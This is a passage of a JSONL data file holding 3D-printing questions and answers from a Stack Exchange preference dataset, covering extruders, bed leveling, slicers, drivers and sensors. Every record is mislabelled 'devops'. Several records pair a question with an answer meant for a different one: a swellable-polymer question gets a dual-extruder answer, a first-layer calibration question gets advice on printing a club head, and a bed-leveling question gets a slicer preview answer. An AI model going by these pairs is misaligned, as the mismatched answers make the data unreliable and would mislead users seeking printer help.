solvents, see\nSafety precautions when using acetone\nAlso, as filaments are often not pure ABS or PLA, due to additives and dyes, etc., then the solvent may not dissolve the 3D printed part\ncompletely\n, and you may be left with a deformed, rubbery residue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.464923"}
{"id": "hf_c75d457e16d9", "question": "<p>I am using 2 extruders. Is it possible to use them both at the same time.\nNow I can use one at a time but not both at the same time.\nIs there a gcode that supports this action?</p>\n", "question_body": "", "answer": "To print with 2 extruders simultaneously you need a firmware that supports that. Luckily, there is a firmware called Sailfish that is able to do that. The feature you are looking for is called\n```\nDitto\n```\nprinting.\nSailfish firmware is found\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.488784"}
{"id": "hf_0ed6ca6230f2", "question": "<p>I recently saw <a href=\"https://www.youtube.com/watch?v=TpvNEZCvk84\" rel=\"noreferrer\">this</a> video of super-swellable polymer and felt inspired. Printing a swellable structure would be sort of interesting. However, sodium polyacrylate isn't a printable material. Does anyone know of a material that is? Preferably, swelling activated by water. </p>\n", "question_body": "", "answer": "To print with 2 extruders simultaneously you need a firmware that supports that. Luckily, there is a firmware called Sailfish that is able to do that. The feature you are looking for is called\n```\nDitto\n```\nprinting.\nSailfish firmware is found\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.511978"}
{"id": "hf_00f0c0ac6150", "question": "<p>I need to add some simple image renders of STL files to a document.  I currently open the STL files in Preview or one of the slicers and grab a screen shot.</p>\n\n<p>Is there an easier or automatic way to generate PNG images from STL files on a Mac?</p>\n", "question_body": "", "answer": "Typically you would install a (free) 3D model program as Fusion 360, FreeCAD, or many more options to choose from. Once installed, import the STL file and use menu options to export a picture of your STL.\nAlternatively, if you have some programming skills, you could\nimport the STL file\nin OpenSCAD and render and export a picture from there. Simply create an OpenSCAD file with the code line below and it will import your\n```\nexample.stl\n```\n.\n```\n```\nimport(\"example.stl\", convexity=10);\n```\n```\nThrough the menu you can then export the view to an image. Note that you can do that also from the\ncommand line\nas shown by the OP's own answer (nice example of command line usage of OpenSCAD).\nThese are not the only options, there are many more. E.g.\nthis\nis a nice example. It also describes how Thingiverse.com does STL to web image.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.549932"}
{"id": "hf_fc3869c1d2b1", "question": "<p>If I set temperature say 220 °C, printer heats up to it and it only varies +/- 0.5 °C under non operating condition. But if I start a print, there's a shift of +/- 15 °C.</p>\n<p>I've already auto tuned PID parameters and when I run <code>M503</code>, the printer shows the updated PID values.</p>\n<p><a href=\"https://i.stack.imgur.com/w8SCE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/w8SCE.png\" alt=\"Octoprint temperature graph showing hotend temperature drops\" /></a></p>\n<p>What could be the reason?</p>\n<p>Electronics details:</p>\n<ul>\n<li>Firmware used:  Marlin</li>\n<li>Controller board: Printrboard rev D</li>\n</ul>\n", "question_body": "", "answer": "There could be a number of reasons for that behaviour:\nPlease check following items:\npart blower/fan cools down the nozzle - stop the fan\nmaterial is extruded at high speed and takes the heat\nloose thermistor (when the move occurs as it moves a bit internally)\nthe power supply unit voltage varies - so temperature reading varies as well - measure voltage and see if there are significant drops\nnozzle heater and thermistor cables can be loose as well (check screw terminals)\nbed heater connection cables having not a good connection (check screw terminals)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.583563"}
{"id": "hf_94ce6a577a5d", "question": "<p>In cura one of the options under \"build plate adhesion\" is \"skirt\", which seems to simply print a loop around, but not touching, my print. How is this supposed to help my prints stick to the bed?</p>\n", "question_body": "", "answer": "These skirts they don't contribute at all to help your product adhere better to the build plate other than priming your nozzle so that it is ready to lay down filament for your product.\nA skirt\ndoes\ngive a good indication of the adhesion prior to printing your product, if the skirt does not adhere, maybe it is a good time to stop the print and re-slice with different options or fix the bed level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.606258"}
{"id": "hf_2873d29463be", "question": "<p>2 days into a 5-day build, I came home from work and found the build ruined because the build plate had slipped.</p>\n\n<p>I'm using a Raise 3D N2 Plus printer, with the standard glass build plate that comes with it, attached via 4 clips: two stationary ones at the back, and two standard binder clips at the front, which shipped with the printer, which hold the glass build plate plate to the heated surface beneath.</p>\n\n<p>The left-side clip had come off of the heated surface, remaining clipped to the top and bottom of the glass plate, and the whole thing slipped an inch or so.  I immediately canceled the build, and I can start another one, but before I do I'd like to know how this happened and what I can do to prevent it from happening again.</p>\n\n<p>What typically causes the plate clips to come free?  Is there anything I can do about it?  Will adding more clips around the edges help?  I'd really prefer not to ruin more builds if I can help it...</p>\n", "question_body": "", "answer": "Your nozzle may have caught up with the print somehow pushing the binder clip off by moving the glass slate.\nApparently this is a more\ncommon\nproblem. Try adding more binder clips, this has been reported to help preventing shifting.\nMaybe with some ingenuity you could develop your own fastening system depending on the bed. Alternatively, you could make the underside of the glass a little sticky so that it does not move easily (a little PVA based glue maybe or hairspray, I've done that with my mouse mat with 3DLAC :) which is now not slipping from the desk).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.674662"}
{"id": "hf_ce245c1d7dab", "question": "<p>I changed the filament (PLA) in my Wanhao Duplicator I3+. I ended the first try to print when I saw that the 'lines' were too thin. I re-sliced with a higher temperature (195°C instead of 190°C). Now the print started without a problem but after about 25% no more filament came out of the extruder. What can be the reason and how can I resolve it?</p>\n\n<p>The filament is from Vertex, grey. The object that I use to test is a 20&nbsp;mm hollow cube from Thingiverse that I have used for the previous filament too.</p>\n\n<p>I am not sure that this is a clogging problem since the print starts with no problems. It just stopped after 25%. When I started another print I was able to finish by increasing the temperature. </p>\n", "question_body": "", "answer": "My slicer (Cura-lulzbot) has a setting for initial printing temp, and then printing temp after the first few layers.  Is it possible that your temp is initially OK, but then drops too low?  Does your printer have a readout that shows the current temp?  Is the temp still OK when it stops?\nIt sounds like you are printing a sample cube, so I assume not too large.  Could you simulate this by just directly command your printer to extrude 500 mm of filament, or longer?  Then see if it clogs.  That would tell you if it was a physical problem with your printer instead of some change specified by the G-code for a sliced print.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.721394"}
{"id": "hf_f53fbc20eb36", "question": "<p>Just one quick question about the filament. </p>\n\n<p>Can I leave the filament in the extruder for a prolonged period of time while the printer is off?</p>\n", "question_body": "", "answer": "Most filaments you can leave in the extruder indefinitely without any ill effects.\nThere are some filaments that need to be stored away from moisture, particularly Nylon, because they absorb moisture from the air and don't print well if they contain a lot of absorbed moisture. However, this isn't an inherent issue with having the filaments in the extruder (if you had some setup that protected the filament from moisture while in the extruder, that would be fine as well - but in most cases it is more practical to store such filament in an airtight box).\nMost commodity filaments (ABS/PLA/PETG) don't suffer from this as much (PLA supposedly also absorbs moisture but I haven't noticed this to be a problem, perhaps it depends on the conditions of the room in which your printer is kept) so they're fine to leave in the extruder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.760515"}
{"id": "hf_48d78afbcb6e", "question": "<p>I cannot get my extruder to work on my Creality Ender-4 printer. I have heated the nozzle but the extruder does not move.</p>\n\n<p>I tested the motor and cable on another system and they work just fine.</p>\n\n<p>Could it be the board or what could it be?</p>\n", "question_body": "", "answer": "Most filaments you can leave in the extruder indefinitely without any ill effects.\nThere are some filaments that need to be stored away from moisture, particularly Nylon, because they absorb moisture from the air and don't print well if they contain a lot of absorbed moisture. However, this isn't an inherent issue with having the filaments in the extruder (if you had some setup that protected the filament from moisture while in the extruder, that would be fine as well - but in most cases it is more practical to store such filament in an airtight box).\nMost commodity filaments (ABS/PLA/PETG) don't suffer from this as much (PLA supposedly also absorbs moisture but I haven't noticed this to be a problem, perhaps it depends on the conditions of the room in which your printer is kept) so they're fine to leave in the extruder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.784969"}
{"id": "hf_c3354f4e0894", "question": "<p>If I'm working with standard PLA, and I want to print a box that I can stand on without any risk of it breaking, is there any good way to calculate the appropriate print settings?</p>\n\n<p>I know that structural strength comes from the infill.  Knowing this, and knowing the dimensions of the box, the weight of my body, the surface area of my shoes, and the material I'm working with, is there any good way to determine the minimum infill percentage I'd want to use in order to safely bear my weight?</p>\n", "question_body": "", "answer": "Strictly speaking, it is difficult to do calculations on these materials, but not impossible (I've heard about a few commercial analysis tools that do that). The FDM process (Fused Deposition Modeling) creates a product based of fused slices of material causing an anisotropic material (this means that the properties of the material are different in different dimensions). Basically, your product will be quite strong and similar in the X and Y directions, but fragile in the Z direction (layering direction). You can imagine that every layer may be a seed for cracks to grow when you're pulling at the part.\nWhen applying a compression load on a product like in your example, the walls need to be strong enough to hold the pressure (not all of the load as, based on the type of infill, the infill also can/should take part of the load!) and need to be of sufficiently high percentage, not only to take part of the load, but also support the walls to prevent buckling. I remember that stress calculations for buckling are difficult and require FEA (Finite Element Analysis) for more complex objects other than bars or beams.\nI think it is difficult to determine or calculate the infill percentage based on the compression load beforehand as you do not know the exact material properties and the buckling behavior. You do know that a 100% infill will give you enough strength and support, you could try to print at a lower infill, e.g. 75%, and test if that works for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.833978"}
{"id": "hf_66af118c13af", "question": "<p>My Zortrax M200 has a skipping extruder motor, I’ve checked the seating of all connections and 3 different (electronic ribbon) cables and still can’t fix the issue. The gear is clean and have tried fresh filament. </p>\n\n<ul>\n<li>Does anyone have any possible thoughts on why this happens?</li>\n</ul>\n\n<p>The extruded motor will move in the desired direction and then skip back. </p>\n\n<p>Loading the filament is fine. Tried new nozzles, blockages checked, etc.</p>\n", "question_body": "", "answer": "Check the pins on the motor. Are they bent? If yes - straighten them out with a screw driver.\nThis could be a stepper driver problem. If it is then bad luck. Zortrax hard solders their stepper drivers onto their control board (this sucks and is a pure monetization related move by them).\nThis results in you having to get a whole new set of connector cables and or new control boards every time something goes wrong.\nAsk for a control board replacement with new connector cables, if your machine is still under warranty it should be free of charge.\nSwitch to different or cheaper machines like Wanhaos or Ultimakers if you want the same ease of use and cheap part replacement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.893429"}
{"id": "hf_cca60ec3f975", "question": "<p>I have a question about Slic3r software.</p>\n\n<p>I would like to subtract two parts. For example, I have an STL model, when I right click on the part, I can select <strong>Settings...</strong>, and in the <strong>Settings</strong> window, I can select modifier and I can select slab.with selecting proper thickness. Now we have two parts where one of them is inside of another. My problem is subtracting those two parts.</p>\n\n<p>How can I subtract this part from another?</p>\n", "question_body": "", "answer": "Given my limited familiarity with all the CAD tools that exist, I would fall back to something that I know does binary operations on volumes -- openScad.\nOne can create two objects, one from each of the two STL files, and subtract one from the other.  One can also compute intersections, unions, and other operations.\nThere are probably other programs that also do this, but openScad allows for doing in programmatically, so that once you have it right, you can update the objects without needing to redo the finicky part of the operations.\nslic3r may do this, but I haven't seen such features in my multi-year use of slic3r for slicing.\nWhen in doubt, IMO it is better to script something.  It is virtually never that I do something only once, especially in 3D printing where rapid prototype leads to rapid change and improvement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.917237"}
{"id": "hf_9b5697c01009", "question": "<p>I finished the mount of my Anet A8, tested everything and apparently it was ok. I installed the driver that came with it, <code>CH341SER_MAC</code>, turned on the printer, connect USB cable, but nothing happened. </p>\n\n<p>In Cura, I tried to add a printer many times and this message always appears</p>\n\n<blockquote>\n  <p>The printer isn't connected. </p>\n</blockquote>\n\n<p>In OSX, I discover in System Information, an <strong>USB2.0-Serial</strong>, that I think can be the printer.  Is it a printer driver problem? Is it the Cura setting? I'm completely lost...</p>\n\n<p><a href=\"https://i.stack.imgur.com/wyfZ6.png\" rel=\"nofollow noreferrer\" title=\"OSX System Information - USB\"><img src=\"https://i.stack.imgur.com/wyfZ6.png\" alt=\"OSX System Information - USB\" title=\"OSX System Information - USB\"></a></p>\n", "question_body": "", "answer": "There are a lot of problems with the CH340 chipset drivers to be found on 3D SE and various forums on the internet. To use this cheap CH340 chip that is used by a number of Arduino compatible (clone) boards to provide USB connectivity (a USB bus converter chip that converts USB bus signals to serial interface) you need to install a correct working driver.\nFor Mac OS X you can try to download a working version for the OS system you are using. You can try to use\nthis driver installer\nor\nthis driver installer\n. Both reported to work with Mac OS.\nEdit\n: If you are using OSX El Capitan, please read\nthis\n. To  get the CH340 drivers to work you need to use the tool\ncsrutil\n.\nReboot and press CMD+R immediately after hearing the startup sound to boot to Recovery Mode\nOpen Terminal\nExecute the following command:\n```\ncsrutil enable --without kext\n```\nReboot\nMore information is found\nhere\n!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.953156"}
{"id": "hf_883c397e28d8", "question": "<p>I just re-ran all basic calibration steps from the Original Prusa i3 MK2 Manual.</p>\n\n<p>Now, when doing the first layer calibration, lines that are running in positive X direction are ok, while those running in negative X direction are severely squished.</p>\n\n<p><a href=\"https://i.stack.imgur.com/5zzEl.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/5zzEl.jpg\" alt=\"Print of the default V2Calibration.gcode file on my Prusa i3 MK2\"></a>\n<em>(The \"waviness\" of my print bed is an artifact of the camera lens distortion of my smartphone)</em></p>\n\n<p>I already did Bed level correction, so each line is exactly the same width over its entire distance and tried to raise the live-adjust Z, but that leads to the thin lines not adhering at all. My printer is 100% stock, I modified nothing about it. </p>\n\n<p>What can I do to troubleshoot this further?</p>\n", "question_body": "", "answer": "No FDM print at all.\nThe problem of your design will not be the materials, but a basic property of FDM printing: FDM Printers do create a structure by placing a long string of filament next to itself and ontop of itself, creating tons of boudaries.\nThese boundaries between the layers are the weak points for this application: Even if the material like ABS could withstand the blow handled with such a club, the print will break at its weakest point - which in this case is any layer boundary. This is amplyfied by the basic design we have here: The elongated shape will serve as a lever on each of the weak boundries, until one gives way and results in catastrophic failure and a flying clubhead.\nNon-FDM for the rescue.\nTo counteract this, you need to use a different method than FDM printing to get a more homogenous material than the bound deposited filament. Such methods could be for example SLA (Stereolithography) or SLS (Selective Laser Sintering). Both could easily offer even tiny details.\nSLS uses Nylon or metal powders, sometimes even ceramics - Tungstencarbide for example.\nSLA/Resin\nUsing a Resin printer using the SLA methods results in an object almost as homogenous as an injecion molded object. Proper aftercare and curing is required to get the best results. Also, Resin prints usually age under UV light, which can negatively impact lifetime. SLA printers are expensive (for home printers), print shops that offer them relatively rare and costly (in comparison to FDM) but usually offer superb resolution and almost perfect smoothness. A lot of the exact material properties is resin and aftercare dependant.\nA way around the aging could be that the results of an SLA print could be used to create green-sand molds countless times, which can be used for casting metal or even some thermoplastics. Remember though, that cooling metal shrinks.\nSLS Nylon\nNylon would be a medium rigid, light solution, but it ages and has a quite rough surface. It does offer some flex, almost perfect for this application. While most SLS machines for nylon are commercial to industrial, print technology of this kind is widespread enough to make them somewhat affordable (for an industrial printer) and printshops for these relatively common, prints are not cheap but well priced.\nDMLS / SLM\nDirect Metal Laser Sintering and Selective Laser Melting - an evolution of SLS - allows to create structures from various metals by sintering/melting powders of metal at the right spot to gain shape. The benefit would be, that you get a part that could withstand much more destructive testing than your bottle used as a clubhead - you get a workpiece of solid metal (Steel, aluminium, Titanium and a lot others are available) after all that has the same properties as a cast item. The big downside is, that only few companies currently delve into DMLS, among them the former patent holder of many of the FDM printing patents,\nStratasys\n. This means, that a machine for this is industrial rated and priced, and that print suppliers charge accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.001474"}
{"id": "hf_95e852e81c88", "question": "<p>When using Slic3r I noticed that <code>Slice now</code> and <code>Export G-Code</code> do different things. While <code>Slice now</code> is nice, it does not show any tool paths etc. </p>\n\n<p>Is there an actual way to generate and visualize the G-code in Slic3r without saving the exported G-Code first? When aligning seams etc., it is quite annoying to always save the file to see a difference because <code>Slice now</code> seems to make little difference.</p>\n", "question_body": "", "answer": "After you use the Slice Now button (and the slicing progress bar shows completed), select the preview tab. To the right of the window you will see a pair of vertical sliders. Each slider changes the start and finish locations for the filament layers.\nYou can slide the left one to the bottom, which will \"empty\" the virtual print bed. Each movement upward will display a succeeding layer, showing the placement of the filament. This ostensibly will present to you alignment information as well as unexpected holes or other failure points.\nI don't know of any slicer that lacks a preview. That doesn't mean one does not exist, but why would such a useful feature be omitted?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.025808"}
{"id": "hf_a694507015d6", "question": "<p>My G29 command reports</p>\n\n<pre><code>+0.178 +0.281 +0.830\n-0.614 -0.012 +0.371\n-1.208 -0.849 -0.351\n</code></pre>\n\n<p>So should I tighten up the screw of the bed, close to 0,0 position or loosen it?</p>\n\n<p>I have a feeling that when I loosen it, it gets away from zero and I expect the opposite to happen.</p>\n\n<p>For bed leveling i use a capacitive probe and after playing around with the screws here is the result</p>\n\n<pre><code>+0.406 +0.127 +0.411\n-0.161 -0.007 -0.041\n-0.572 -0.652 -0.668\n</code></pre>\n\n<p>Finally the leveling process was found <a href=\"https://www.youtube.com/watch?v=y_1Kg45APko\" rel=\"nofollow noreferrer\">here</a>\nBut the question remains. The value <code>-0.572</code> corresponds close to <code>0,0</code> ?</p>\n", "question_body": "", "answer": "After you use the Slice Now button (and the slicing progress bar shows completed), select the preview tab. To the right of the window you will see a pair of vertical sliders. Each slider changes the start and finish locations for the filament layers.\nYou can slide the left one to the bottom, which will \"empty\" the virtual print bed. Each movement upward will display a succeeding layer, showing the placement of the filament. This ostensibly will present to you alignment information as well as unexpected holes or other failure points.\nI don't know of any slicer that lacks a preview. That doesn't mean one does not exist, but why would such a useful feature be omitted?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.049382"}
{"id": "hf_8a2ddcd78730", "question": "<p>I have an incoming project and the only 3D printer available to me is the TronXY X1. </p>\n\n<p>So the question is: Can it handle at least four days of continuous load or should I search for an alternate solution? </p>\n\n<p><em>I don't want to damage (my only) 3D printer for this project.</em></p>\n", "question_body": "", "answer": "I know that this is a bit\nwishy-washy\nbut some can, some can't.\nThe TronXY has a bit of an issue with the power supply to start with. The\npower brick\nis a (\nreportedly\n) bit suspect, for long jobs, see\nmy answer\nto the question,\nRamps 1.4 with a power brick\n.\nIt could be worth upgrading the power supply to a higher current rated PSU (20 A - 35 A), with an aluminium enclosure, i.e. those PSUs which are marketed as LED power supplies, such as this,\nTronxy 3D printer accessoires power supply 240W AC110/220V DC 12V 20A for 3D print DIY kit part\non AliExpress.\nThen you can add your heatbed (that you refer to in your other question), without worrying.\nIt all depends on how critical your 24/7 project is. Is it a serious production run or just a hobby-like project that is a bit of a fun endurance test? How important is it that the print run goes without a hitch? Would a power supply failure mid-print be catastrophic or easily shrugged off? Would the delay incurred by trying to find a replacement power brick actually matter that much?\nA simple analogy would be driving from Germany to Mauritania across the Western Sahara, with some serious, and urgent medical supplies. You could either either buy a well maintained, and carefully run in, Mercedes, which will most likely last the entire journey and then some,\nor\nyou could buy a clapped out old Lada, with 500000 km on the clock, with the vain hope of getting there. The Mercedes would seem to be the better option.\nHowever, if you are delivering a\nDundee cake\nfor an Aunt, which is neither time critical nor particularly important and you aren't even sure that your Aunt will be at home when you get there, then maybe the Lada will suffice.\nInto which category does your 24/7 print project fall in? It sounds like the former.\nApart from the power supply, i.e. w.r.t. the stepper motors and hotend, unfortunately, I don't know the answer and can not answer your question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.119327"}
{"id": "hf_f3d154732bc2", "question": "<p>Why does this happen (circled in red), and how can I fix it? It is making my prints come out horrible.</p>\n\n<p>Not shown in the picture, but the option \"Coasting\" was Enabled:</p>\n\n<ul>\n<li>Coasting Volume 0.064 mm<sup>3</sup></li>\n<li>Minimum Volume Before Coasting: 0.8</li>\n<li>Coasting Speed 90%</li>\n</ul>\n\n<hr>\n\n<p><a href=\"https://i.stack.imgur.com/a4sB6.jpg\" rel=\"nofollow noreferrer\" title=\"Rendered G-code view of a sliced model\"><img src=\"https://i.stack.imgur.com/a4sB6.jpg\" alt=\"Rendered G-code view of a sliced model\" title=\"Rendered G-code view of a sliced model\"></a></p>\n", "question_body": "", "answer": "I have had a similar thing happen when slicing a large piece that has - in real life - walls of about 2 cm. By scaling it down to 1.5%, this become less than the wall thickness, and the wall was simply omitted by CURA.\nIn my experience, a model showing gaps\ncan\nhave in these locations a thickness less than 1 wall.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.155609"}
{"id": "hf_f721d4e7ec84", "question": "<p>My first printer is Delta style Kossel clone and I have bad luck with Print In Place (PIP) models, especially with hinges. I suspect that my printer just can't achieve low enough tolerances to make the hinges work. </p>\n\n<p>Are there any tricks I can employ to get better prints for PIP models?</p>\n", "question_body": "", "answer": "Delta printers are considered to be able to be accurate printers cause of the limited weight in the head (using Bowden extruder setup). The positioning can be very accurate (limited weight, limited overshooting) and because of the limited amount of weight, the print speed can be increased.\nAn\ninteresting paper\nhas been written on a comparative study between a Cartesian and a Delta machine. The paper concludes that the Delta style printer produces \"a better surface finish\". However, I'm a bit skeptical as the images of the Cartesian printed part they have printed are of far less quality I can produce with 2 of my printers. Fact is that Delta machines have no Z-wobble (also called\nbanding\n) that is a common problem with Prusa i3 style printers for instance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.179299"}
{"id": "hf_825e95ae211a", "question": "<p>I am slicing with Cura and Slic3r and one important thing that I recently took my attention is that cura positions head in start point of the new layer and then lifts the nozzle. That caused my few printouts to fall as they collided with the nozzle. </p>\n\n<p>Slic3r behavior is different: it raises the nozzle in last printed point and then moves to a new layer starting point (which for me is more obvious)</p>\n\n<p><strong>Is there a way to instruct Cura to lift nozzle before it goes to the starting point of a new layer?</strong> excluding Z-hops.</p>\n", "question_body": "", "answer": "To lift the head to prevent the nozzle to tip over your print you could use an option called\n```\nZ hop\n```\nin Cura. Just enter `hop' in the search box on the right side to make those options magically appear (in a recent version of Cura, e.g. version 3.x.x).\nOther than\n```\nZ hop\n```\nthere is no default action, or series of commands, per layer to be specified before the start of the layer. There are 2 other ways to circumvent this:\nThe first is saving you G-code to file and open the file in an advanced text editor (e.g. Notepad++). With a (recorded) macro you can find the words\n```\n;LAYER:\n```\n, which are inserted by Cura before each layer starts, and insert a pre-copied list of commands that set the movement in relative mode, move Z up 2 mm, set into absolute mode again. When the next layer starts the extruder goes to the layer start from a 2 mm rise.\nWrite a plugin for Cura to post-process (\n```\nC:\\Program Files\\Ultimaker Cura x.x\\plugins\\PostProcessingPlugin\\scripts\n```\n) the G-code file to inject the code to Z hop before the start of every layer, or a plugin that adds a new option and/or category to the slicer settings sidebar of the GUI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.215728"}
{"id": "hf_4717d73b6051", "question": "<p>I am getting a 24&nbsp;V based Ender 3. From the factory, it has an aluminium bed. So I also put this <a href=\"https://www.amazon.de/gp/product/B071ZQ6VV6/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;psc=1\" rel=\"noreferrer\">LJ12 A3-4-Z/BX Inductive NPN NO 4 mm</a> with 6-36&nbsp;V operation current into the box together with a few other spare parts. Now, as I read up on these things something dawns on me: The normal input and output voltage of a simple switch is 5&nbsp;V, as sensors are ran on 5&nbsp;V on most boards (and in digital logics). The sensors run on 6&nbsp;V plus though.</p>\n\n<p>I do not want to fry my machine by putting in 24&nbsp;V into the sensor input: What do I have to do (besides making a mount)?</p>\n", "question_body": "", "answer": "The inductive sensors work better when you apply a higher voltage than 5 V. Usually they are rated for 6-36 V, but please do check.\nTo prevent frying your board when connecting the sensor to (12 or) 24 Volts you could optically isolate the 5 V and the (12 or) 24 V circuit with an OptoCoupler module:\nImage of an optocoupler module\nThis module uses an optical switch based on the output of the sensor and should be correctly connected:\nImage of connecting an optocoupler module to the sensor and to the board\nPlease note that the image uses a capacitive sensor rather than a inductive sensor, both are connected similarly\nNote that there are many sorts of sensors, a few are listed\nhere\n. Generally speaking, the larger the diameter of the sensor, the larger the detection distance to the bed. Note that these work well with metal beds (Iron/steel better than Aluminium), but will not work for glass (capacitive sensors work on glass but are prone to drift by moisture in the air, a touch sensor may then be a better alternative).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.275670"}
{"id": "hf_f61b4c370abb", "question": "<p>When I print large prints close to (but not exceeding) the maximum dimensions of the heated build platform on my Anet A8, the brim or skirt or the print itself is printed outside the heated bed, while there is some space left at the opposite sites. It appears as if the print is not in the center.</p>\n\n<ul>\n<li>Why is the print not centered on the bed?<br><em>It was centered in the slicer before generating the G-code.</em></li>\n<li>How can I center the print to make it fit on the heated build platform?</li>\n</ul>\n", "question_body": "", "answer": "When centered in the slicer correctly, without offsets defined in the slicer, the printer is most probably incorrectly configured! Luckily you can do something about that! Basically, you will have to calibrate the printer for a new center.\nPrinter origin?\nFirst of all, the firmware determines where your origin of the printer is. This implies that you need to properly set bed dimensions and offset values from the end stop switches in the firmware (usually not necessary out-of-the-box, but important when a newer or different firmware version is uploaded). These offsets determine where the origin of the bed plate is located. For Marlin firmware it is very common (for most printers) to have the origin specified at the front left corner (when facing the printer). From the\nconfiguration of Marlin\nwe find the origin is e.g. in the front-left corner. Note that this can be rotated 180 degrees in certain printers, so the aft-right. Also be aware that there are a few printers that have the origin in the center, e.g. Delta's and a few Cartesian printers. Marlin definition (edited snippet) of a common bed layout:\n```\n*      +-- BACK ---+\n *      |           |\n *    L |    (+)    | R\n *    E |           | I\n *    F | (-) N (+) | G\n *    T |           | H\n *      |    (-)    | T\n *      |           |\n *      O-- FRONT --+\n *    (0,0)\n * .(-Xh, -Yh)\n```\nHow do I find the physical origin of the printer?\nThis can be tested by instructing the head/nozzle to go to e.g. (0, 0, 15) using a\nterminal/console\nor a simple G-code file with a move to that coordinate that you print from SD card (e.g.\n```\nG1 X0 Y0 Z15 